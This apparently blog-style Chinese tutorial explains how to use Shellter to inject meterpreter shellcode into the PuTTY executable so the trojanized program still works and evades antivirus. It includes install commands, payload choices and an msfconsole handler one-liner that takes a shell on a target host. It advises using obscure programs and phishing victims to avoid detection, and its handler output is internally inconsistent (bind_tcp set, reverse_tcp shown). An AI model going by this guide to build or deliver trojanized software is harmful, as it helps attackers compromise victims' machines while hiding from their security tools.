Shellter是一种动态shellcode注入工具,也是当前最流行的AV规避的开源免费工具之一。其最初版本于2014年发布,当前已跟新到shellter pro plus v7.0 版本。本文通过shellter尝试进行shellcode的免杀处理。
下载地址:https://www.shellterproject.com/download/
01
准备阶段
shellter的使用环境是Windows,如果要在Linux中使用,则需要先安装wine。我这里使用的kali linux,所以先apt安装一下。
[email protected]:~$ sudo apt install shellter -y
[email protected]:~$ sudo apt install wine
[email protected]:~# dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32
同时,我们再准备一个可执行的PE文件。这里我选择的是putty。putty是一个shell连接和管理工具,将恶意shellcode注入到其程序中,并且能够正常运行其功能。虽然这看起来很有迷惑性,但实际上不建议使用这类热门的程序。因为除了我们以外,其他hacker自然也会用。这种热门的工具,并且都是用shellter自动化生成的,那如果其他人已经用这个PE文件注入过了,并且样本已经捕获过了,那么你再用这个PE文件进行注入,其免杀效果可想而知。所以最好是用那种比较新的,并且被查杀少的应用程序来做为shellcode的载体。这里建议大家看看shellter作者关于这一点建议的说明。https://www.shellterproject.com/an-important-tip-for-shellter-usage/
02
Shellter使用
环境和shellcode准备好了以后,就可以开始使用Shellter了。这时候直接执行shellter命令即可进入使用界面。如果Shellter安装成功,运行后就是如下界面。
在该界面的提示符中有三个选项。A为自动模式运行,M为高级模式,也可理解为手动模式,H为帮助。这里我们选择A,让Shellter为我们自动注入shellcode。然后还需要再target输入PE文件的位置,作为被注入的程序。当然,也可以是其他PE文件。当我们把相关信息输入以后,shellter就开始自动化注入了。
注入完成后,就会出现以下界面。shellter询问我们是否启用隐身模式。隐身模式有好有坏,好处就是有效载荷执行后程序会尝试恢复PE的执行流程,这会让我们的恶意exe文件能够正常运行,并且还能正常使用该程序原本具有的功能,看起来就是一个普通的程序,具有一定的迷惑性。而坏处就是影响免杀效果。我这里选择的是启用隐身模式。
接着运行下去,shellter会让我们选择负载。其中就包括了MSF中常用的meterpreter的几个正反向payload。如果是CS作为有效载荷,就可以选择5和6。当然也可以选C,自定义payload。根据自己的需求和提示填入相应的内容即可。
03
执行有效载荷
最后,我们就在本地用MSF进行有效载荷的监听,并且把刚刚处理好的恶意文件上传到目标机器上执行,看一下效果。
[email protected]:~$ msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set RHOST 192.168.207.62;set LPORT 4444;run;"
...
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_tcp
RHOST => 192.168.207.62
LPORT => 4444
[*] Started reverse TCP handler on 192.168.207.62:4444
我们可以看到,meterpreter不仅连接成功,获得了shell和权限,Avira也并没有报警(Avira Free Security V1.1.68.29553),并且putty还能正常使用。
04
注意事项
在选择注入shellcode的PE程序时,强烈建议选择审查较少、且小众的新程序。那种类似于putty的热门程序,即使当时能够规避AV,上传到virscan上一样可以看到一大堆杀软可以查杀出来。当然,如果能够进行钓鱼,说服目标能够点击且进行信任,那就另当别论了。比如常见的钓鱼内容如下: